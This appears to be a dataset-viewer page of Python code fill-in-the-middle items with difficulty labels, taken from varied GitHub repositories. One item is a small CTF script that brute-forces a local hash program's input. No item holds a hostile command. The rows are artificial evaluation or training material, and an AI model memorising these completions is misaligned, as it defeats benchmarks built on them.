from lib import constants
from lib.indices import COLLS
def show(keys, unique, background):
<|fim_suffix|>if __name__ == '__main__':
show(**COLLS['watchList'], background=True)<|fim_middle|> print(keys)
print(unique)
print(background)
| code_fim | easy | {
"lang": "python",
"repo": "aisthesis/opttrack",
"path": "/opttrack/test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Process the extra iobuf reads needed
while len(self._extra_reads) > 0:
(x, y, p, n, base_address, size, offset) = \
self._extra_reads.pop()
self._send_request(
SCPReadMemoryRequest(x, y, base_address, size),... | code_fim | hard | {
"lang": "python",
"repo": "Roboy/LSM_SpiNNaker_MyoArm",
"path": "/src/spinnaker_ros_lsm/venv/lib/python2.7/site-packages/spinnman/processes/read_iobuf_process.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> # A list of extra reads that need to be done as a result of the first
# read = list of (x, y, p, n, base_address, size, offset)
self._extra_reads = list()
# A list of next reads that need to be done as a result of the first
# read = list of (x, y, p, n, next_addres... | code_fim | hard | {
"lang": "python",
"repo": "Roboy/LSM_SpiNNaker_MyoArm",
"path": "/src/spinnaker_ros_lsm/venv/lib/python2.7/site-packages/spinnman/processes/read_iobuf_process.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Daisey666/odin-ai path: /examples/vae/vae_posterior_prior.py
import os
from functools import partial
from itertools import product
import seaborn as sns
from matplotlib import pyplot as plt
from odin import visual as vs
sns.set()
import numpy as np
import tensorflow as tf
from odin.bay import ... | code_fim | hard | {
"lang": "python",
"repo": "Daisey666/odin-ai",
"path": "/examples/vae/vae_posterior_prior.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> assert cfg.vae is not None, 'vae is not provided in the configuration'
outdir = get_output_dir()
# load dataset
ds = MNIST()
shape = ds.shape
train = ds.create_dataset(partition='train',
batch_size=batch_size,
shuffle=2000,
... | code_fim | hard | {
"lang": "python",
"repo": "Daisey666/odin-ai",
"path": "/examples/vae/vae_posterior_prior.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: openoakland/TrashTalk path: /trashtalk/apps/cleanups/forms.py
from django.forms import ModelForm, inlineformset_factory, modelformset_factory
from .models import Cleanup, Location
class CleanupForm(ModelForm):
class Meta:
model = Cleanup
fields = ('title', 'description', 's... | code_fim | medium | {
"lang": "python",
"repo": "openoakland/TrashTalk",
"path": "/trashtalk/apps/cleanups/forms.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
# Locations can have many cleanups ...or can they ...
CleanupFormSet = inlineformset_factory(Location, Cleanup, form=CleanupForm,
extra=1, max_num=1)<|fim_prefix|># repo: openoakland/TrashTalk path: /trashtalk/apps/cleanups/forms.py
from django.forms import ModelFo... | code_fim | hard | {
"lang": "python",
"repo": "openoakland/TrashTalk",
"path": "/trashtalk/apps/cleanups/forms.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> result = cv2.matchTemplate(img2, template, method) # 2d array showing rough match in each region
min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) # returns min max for values and locations
if method in [cv2.TM_SQDIFF, cv2.TM_SQDIFF_NORMED]: # these methods take min values
lo... | code_fim | medium | {
"lang": "python",
"repo": "CVanchieri/CS_Notes",
"path": "/ComputerVision_Notes/OpenCV_Notes/object_detection/object_detection_notes.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: CVanchieri/CS_Notes path: /ComputerVision_Notes/OpenCV_Notes/object_detection/object_detection_notes.py
''' OpenCV object detection (template matching) notes '''
### imports ###
import numpy as np
import cv2
''' locate an object in an image '''
### read in the image file to use ###
# sizing... | code_fim | hard | {
"lang": "python",
"repo": "CVanchieri/CS_Notes",
"path": "/ComputerVision_Notes/OpenCV_Notes/object_detection/object_detection_notes.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> for i, x in enumerate(arr):
while stack and arr[stack[-1]] > x:
j = stack.pop()
k = stack[-1] if stack else -1
result += arr[j] * (i - j) * (j - k)
result %= BOUND
stack.append(i)
return result
class... | code_fim | medium | {
"lang": "python",
"repo": "chrisxue815/leetcode_python",
"path": "/problems/test_0907.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: chrisxue815/leetcode_python path: /problems/test_0907.py
import unittest
from typing import List
import utils
BOUND = 10 ** 9 + 7
# O(n) time. O(n) space. Monotone stack.
class Solution:
def sumSubarrayMins(self, arr: List[int]) -> int:
result = 0
arr.append(0)
sta... | code_fim | medium | {
"lang": "python",
"repo": "chrisxue815/leetcode_python",
"path": "/problems/test_0907.py",
"mode": "psm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|> cases = utils.load_test_json(__file__).test_cases
for case in cases:
args = str(case.args)
actual = Solution().sumSubarrayMins(**case.args.__dict__)
self.assertEqual(case.expected, actual, msg=args)
if __name__ == '__main__':
unittest.main()<|fim_... | code_fim | hard | {
"lang": "python",
"repo": "chrisxue815/leetcode_python",
"path": "/problems/test_0907.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: opatrascoiu/jdmn path: /dmn-test-cases/standard/tck/1.1/cl3/0020-vacation-days/translator/expected/python/dmn/org/gs/TotalVacationDays.py
import typing
import decimal
import datetime
import isodate
import time
import jdmn.runtime.Context
import jdmn.runtime.DefaultDMNBaseDecision
import jdmn.run... | code_fim | hard | {
"lang": "python",
"repo": "opatrascoiu/jdmn",
"path": "/dmn-test-cases/standard/tck/1.1/cl3/0020-vacation-days/translator/expected/python/dmn/org/gs/TotalVacationDays.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Apply child decisions
baseVacationDays: typing.Optional[decimal.Decimal] = self.baseVacationDays.apply(context_)
extraDaysCase1: typing.Optional[decimal.Decimal] = self.extraDaysCase1.apply(age, yearsOfService, context_)
extraDaysCase2: typing.Optional[decimal.Decimal] = ... | code_fim | hard | {
"lang": "python",
"repo": "opatrascoiu/jdmn",
"path": "/dmn-test-cases/standard/tck/1.1/cl3/0020-vacation-days/translator/expected/python/dmn/org/gs/TotalVacationDays.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bbarber314/MATH527_MLForFinance path: /MarketModel.py
# -*- coding: utf-8 -*-
"""
Created on Wed Nov 10 19:11:29 2021
@author: bbarber
"""
import numpy as np
class MarketModel: #Market Simulator Class
#Initialize the market model by specifying the number of time periods, the trad... | code_fim | hard | {
"lang": "python",
"repo": "bbarber314/MATH527_MLForFinance",
"path": "/MarketModel.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def printHistory(self):
print("R:",self.R_hist)
print("r:",self.r_hist)
print("P:",self.P_hist)
print("w:",self.w_hist)
print("S:",self.s_hist)
def forceSimplex(weights): # Force all weights to be positive, and normalize all weights
weights[weights<0]=0
weights = weight... | code_fim | hard | {
"lang": "python",
"repo": "bbarber314/MATH527_MLForFinance",
"path": "/MarketModel.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __init__(self, pol, dim = 3):
self.dimensions = dim
self.policy = pol
def updatePolicy(self, pol):
self.policy = pol
def makeWeights(self, state, epsilon=0):
if (np.random.uniform()<epsilon):
return self.randomWeights()
else:
return self.policy(state)... | code_fim | hard | {
"lang": "python",
"repo": "bbarber314/MATH527_MLForFinance",
"path": "/MarketModel.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> title: str
display_id: int
msg_id: str
vote_count: str
started: bool
finished: bool<|fim_prefix|># repo: stickittotheman/reminder-robin path: /src/model/topic.py
from dataclasses import dataclass
<|fim_middle|>
@dataclass
class Topic:
| code_fim | easy | {
"lang": "python",
"repo": "stickittotheman/reminder-robin",
"path": "/src/model/topic.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: stickittotheman/reminder-robin path: /src/model/topic.py
from dataclasses import dataclass
<|fim_suffix|> title: str
display_id: int
msg_id: str
vote_count: str
started: bool
finished: bool<|fim_middle|>@dataclass
class Topic:
| code_fim | easy | {
"lang": "python",
"repo": "stickittotheman/reminder-robin",
"path": "/src/model/topic.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # self.state_mean, self.state_std = self.state_obs.update(states)
if self.render_freq > 0 and t % (self.validate_freq * self.render_freq) == 0:
render = True
else:
render = False
if self.validate_freq > 0 an... | code_fim | hard | {
"lang": "python",
"repo": "stjordanis/reinforcement-learning-5",
"path": "/rlib/Curiosity/CuriosityA2C.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> l = self.model.backprop(states, next_states, R, Adv, actions, mean, std)
# self.state_mean, self.state_std = self.state_obs.update(states)
if self.render_freq > 0 and t % (self.validate_freq * self.render_freq) == 0:
render = Tr... | code_fim | hard | {
"lang": "python",
"repo": "stjordanis/reinforcement-learning-5",
"path": "/rlib/Curiosity/CuriosityA2C.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: stjordanis/reinforcement-learning-5 path: /rlib/Curiosity/CuriosityA2C.py
import torch
import torch.nn.functional as F
import numpy as np
import scipy
import gym
import os, time
import threading
from rlib.A2C.A2C import ActorCritic
from rlib.networks.networks import*
from rlib.utils.SyncMultiEnvT... | code_fim | hard | {
"lang": "python",
"repo": "stjordanis/reinforcement-learning-5",
"path": "/rlib/Curiosity/CuriosityA2C.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: sankovalev/vk_reg_bot path: /commands/tutor.py
# -*- coding: utf-8 -*-
import command_system
import MySQLdb
import common
from notifications import Tip, Error, Success
from settings import DB_params as p
def tutor(user_id, message_words):
<|fim_suffix|>tutor_command = command_system.Command()
t... | code_fim | hard | {
"lang": "python",
"repo": "sankovalev/vk_reg_bot",
"path": "/commands/tutor.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>tutor_command.keys = ['препод', 'преподаватель', 'преподователь', 'физрук', 'tutor']
tutor_command.description = 'обновлю информацию о твоем преподавателе'
tutor_command.process = tutor
tutor_command.order = 4<|fim_prefix|># repo: sankovalev/vk_reg_bot path: /commands/tutor.py
# -*- coding: utf-8 -*-
imp... | code_fim | hard | {
"lang": "python",
"repo": "sankovalev/vk_reg_bot",
"path": "/commands/tutor.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> for a1 in range(len(sequence)):
p = Popen(['./securehash'], stdout=PIPE, stdin=PIPE, stderr=PIPE)
stringbuilder = "yaaaaaaaaaaaaaa" + sequence[a1] + "aa"
stdout_data = p.communicate(input=stringbuilder)[0].strip()
if stdout_data[:2] == success[:2]:
print "The missing letter is: '" + sequence[a... | code_fim | medium | {
"lang": "python",
"repo": "lloydtorres/hackthenorth-ctf",
"path": "/python-scripts/oneletterguesser.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: lloydtorres/hackthenorth-ctf path: /python-scripts/oneletterguesser.py
#!/usr/bin/python2
from subprocess import Popen, PIPE, STDOUT
success = "84c355da8831b62075d2ad9133ce6512"
firstSequence = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
secondSequence = "abcdefghijklmnopqr... | code_fim | medium | {
"lang": "python",
"repo": "lloydtorres/hackthenorth-ctf",
"path": "/python-scripts/oneletterguesser.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> msg = """Adv. Tutorials Registration : %i
Beg. Tutorials Registration : %i
Conference Registration : %i
Unique users : %i
""" % (tu_a_n, tu_b_n, co_n, len(all_u))
ctx = {
"msg": msg,
}
return render(request, "registration_count.html", ctx)<|fim_prefix|># repo... | code_fim | hard | {
"lang": "python",
"repo": "euroscipy/esp_2015",
"path": "/esp_2015/views.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: euroscipy/esp_2015 path: /esp_2015/views.py
from django.shortcuts import render, redirect
from django.contrib.auth.models import User
from django.contrib.auth.decorators import login_required
import account.views
@login_required
def registration_count(request):
admin = request.user.is_staf... | code_fim | medium | {
"lang": "python",
"repo": "euroscipy/esp_2015",
"path": "/esp_2015/views.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> all_o = Order.objects.all()
co_n = 0
tu_a_n = 0
tu_b_n = 0
all_u = set()
for o in all_o:
if o.status != 40:
continue
for i in o.items.all():
if i.product in CO:
co_n += i.quantity
elif i.product in TU_A:
... | code_fim | hard | {
"lang": "python",
"repo": "euroscipy/esp_2015",
"path": "/esp_2015/views.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>print("Number of lines not startign with A in the file is : ",count1)
print("Number of is's in the file is : ",count2<|fim_prefix|># repo: mynameismon/12thPracticals path: /question_4.py
#file_1=open("STORY.txt","w")
#l1= "The rose is red."
#l2= "A girl is playing there."
#l3= "There is a playground."
#... | code_fim | medium | {
"lang": "python",
"repo": "mynameismon/12thPracticals",
"path": "/question_4.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mynameismon/12thPracticals path: /question_4.py
#file_1=open("STORY.txt","w")
#l1= "The rose is red."
#l2= "A girl is playing there."
#l3= "There is a playground."
#l4= "An aero plane is in the sky."
#l5="Numbers are not allowed in the password."
#file_1.write(l1)
#file_1.write('\n')
#file_1.wri... | code_fim | medium | {
"lang": "python",
"repo": "mynameismon/12thPracticals",
"path": "/question_4.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: nchlswhttkr/fbmelhack18 path: /hugh's project/gmailauto/autoEmail.py
import httplib2
import os
from apiclient import discovery
import oauth2client
from oauth2client import client
from oauth2client import tools
try:
import argparse
flags = argparse.ArgumentParser(parents=[tools.argparser... | code_fim | hard | {
"lang": "python",
"repo": "nchlswhttkr/fbmelhack18",
"path": "/hugh's project/gmailauto/autoEmail.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> return [title, msg, date, evt_url]
def writeHTML(data, file):
html = file.read()
# finds the placeholders (** **) and replaces them with the appropriate data
html = html.replace("**title**", data[0])
html = html.replace("**message**", data[1])
html = html.replace("**date**", da... | code_fim | hard | {
"lang": "python",
"repo": "nchlswhttkr/fbmelhack18",
"path": "/hugh's project/gmailauto/autoEmail.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: zymITsky/ants path: /ants/crawl/downloader/handlers/__init__.py
"""Download handlers for different schemes"""
from ants.utils.exceptions import NotSupported, NotConfigured
from ants.utils.httpobj import urlparse_cached
from ants.utils.misc import load_object
class DownloadHandlers(object):
<|f... | code_fim | hard | {
"lang": "python",
"repo": "zymITsky/ants",
"path": "/ants/crawl/downloader/handlers/__init__.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.